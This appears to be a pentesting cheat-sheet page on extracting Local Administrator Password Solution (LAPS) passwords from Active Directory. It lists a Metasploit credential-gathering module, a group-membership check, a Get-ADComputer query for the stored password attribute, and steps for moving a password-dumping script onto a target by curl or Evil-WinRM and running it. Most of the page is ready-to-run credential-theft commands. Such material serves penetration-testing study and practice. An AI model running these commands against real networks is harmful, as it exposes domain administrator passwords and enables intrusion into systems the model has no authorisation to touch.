Page cover

LAPS (Local Administrator Password Solution) Pentesting

LAPS provides management of local account passwords of domain joined computers. Passwords are stored in Active Directory.

msfconsole
use post/windows/gather/credentials/enum_laps
set session 2
exploit
Copied!

First, check if you are in the LAPS_Readers group.

net user <current-username>
# Global Group memberships  *LAPS_Readers
Copied!

Get-ADComputer gets the information of the Active Directory computer.

Get-ADComputer -Identity '<active-directory-computer-name>' -property 'ms-mcs-admpwd'
Copied!

  1. Download the Payload in Local Machine

    If you are in LAPS_Readers, you can get the administrator's password using Get-LAPSPasswords.ps1arrow-up-right.

  2. Transfer the Payload to Target Machine

    • via PowerShell

      First off, open web server in local machine.

      Then curl in target machine

    • via Evil-WinRM

      If you connect the remote Windows machine with Evil-WinRM, you can use directly by adding -s flag when connecting.

      Then just execute the payload in evil-winrm console.

  3. Execute the Payload in Target Machine

Last updated